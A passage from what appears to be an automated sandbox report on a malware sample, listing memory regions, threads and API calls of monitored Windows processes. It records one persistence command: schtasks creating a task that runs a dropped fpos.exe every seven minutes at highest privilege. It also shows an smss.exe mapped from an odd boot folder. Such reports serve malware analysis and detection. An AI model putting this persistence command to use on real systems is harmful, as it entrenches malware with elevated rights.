0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4933 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4934 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4935 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4936 start_va = 0x160000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4937 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4938 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4939 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4940 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4941 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4942 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4943 start_va = 0x160000 end_va = 0x1c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4944 start_va = 0x2a0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4945 start_va = 0x320000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4946 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4947 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4948 start_va = 0x520000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 4949 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4950 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4951 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4952 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5401 start_va = 0x1d0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5402 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 5403 start_va = 0x6c0000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 5404 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5522 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5523 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5524 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5525 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5526 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5527 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5528 start_va = 0x200000 end_va = 0x228fff monitored = 0 entry_point = 0x201010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5529 start_va = 0x740000 end_va = 0x8c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 5530 start_va = 0x200000 end_va = 0x228fff monitored = 0 entry_point = 0x201010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5531 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5532 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5533 start_va = 0x8d0000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 5534 start_va = 0x10d0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010d0000" filename = "" Region: id = 5535 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5536 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5537 start_va = 0x420000 end_va = 0x4f0fff monitored = 1 entry_point = 0x4ef1ee region_type = mapped_file name = "smss.exe" filename = "\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe") Region: id = 5538 start_va = 0x420000 end_va = 0x4f0fff monitored = 1 entry_point = 0x4ef1ee region_type = mapped_file name = "smss.exe" filename = "\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe") Region: id = 5539 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5589 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5590 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5591 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5592 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5593 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5720 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5721 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 5722 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5723 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5724 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5725 start_va = 0x7fe91ee0000 end_va = 0x7fe91eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 5726 start_va = 0x7fe91ef0000 end_va = 0x7fe91f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ef0000" filename = "" Region: id = 5727 start_va = 0x7fe91f80000 end_va = 0x7fe91feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f80000" filename = "" Region: id = 5728 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5729 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5840 start_va = 0xa60000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5841 start_va = 0xc20000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 5842 start_va = 0xc80000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 5843 start_va = 0xd80000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 5844 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5845 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5846 start_va = 0x24d0000 end_va = 0x1a4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 6215 start_va = 0x1a4d0000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a4d0000" filename = "" Region: id = 6216 start_va = 0xa60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 6217 start_va = 0xba0000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 6218 start_va = 0x1a8e0000 end_va = 0x1a9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8e0000" filename = "" Region: id = 6219 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6680 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 6708 start_va = 0x1aa30000 end_va = 0x1ab2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa30000" filename = "" Region: id = 6709 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 6710 start_va = 0x1ab30000 end_va = 0x1adfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 215 os_tid = 0x530 Thread: id = 253 os_tid = 0xd54 Thread: id = 264 os_tid = 0xaa4 Thread: id = 296 os_tid = 0xe68 Process: id = "58" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3b3bf000" os_pid = "0x328" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 7 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4448 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4449 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4450 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4451 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4452 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4453 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4454 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4455 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4456 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4457 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4458 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4459 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4460 start_va = 0xd0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4461 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4462 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4463 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4464 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4465 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4466 start_va = 0x1e0000 end_va = 0x246fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4467 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4468 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4469 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4470 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4471 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4472 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4473 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4474 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4475 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4476 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4477 start_va = 0x250000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4478 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4479 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 4480 start_va = 0x380000 end_va = 0x507fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4481 start_va = 0x510000 end_va = 0x538fff monitored = 0 entry_point = 0x511010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4482 start_va = 0x510000 end_va = 0x538fff monitored = 0 entry_point = 0x511010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4483 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4484 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4485 start_va = 0x510000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4486 start_va = 0x6a0000 end_va = 0x1a9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 4487 start_va = 0x350000 end_va = 0x361fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4488 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4489 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4490 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4491 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4492 start_va = 0x1aa0000 end_va = 0x1d6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4493 start_va = 0x1d70000 end_va = 0x1decfff monitored = 0 entry_point = 0x1d7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4494 start_va = 0x1d70000 end_va = 0x1decfff monitored = 0 entry_point = 0x1d7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4495 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4496 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4497 start_va = 0x1d70000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 4498 start_va = 0x1d70000 end_va = 0x1e4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d70000" filename = "" Region: id = 4499 start_va = 0x1ef0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 4500 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4529 start_va = 0x20f0000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 4530 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4533 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4534 start_va = 0x1e50000 end_va = 0x1e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4535 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4536 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 4537 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4538 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4541 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 197 os_tid = 0x704 [0086.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbfa60 | out: lpSystemTimeAsFileTime=0xbfa60*(dwLowDateTime=0x5caf8d20, dwHighDateTime=0x1d9eb0c)) [0086.768] GetCurrentProcessId () returned 0x328 [0086.768] GetCurrentThreadId () returned 0x704 [0086.768] GetTickCount () returned 0x176b14c [0086.768] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbfa68 | out: lpPerformanceCount=0xbfa68*=2489325140560) returned 1 [0086.768] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0086.769] __set_app_type (_Type=0x1) [0086.769] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0086.769] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0086.769] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0086.770] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0086.770] _onexit (_Func=0xff932afc) returned 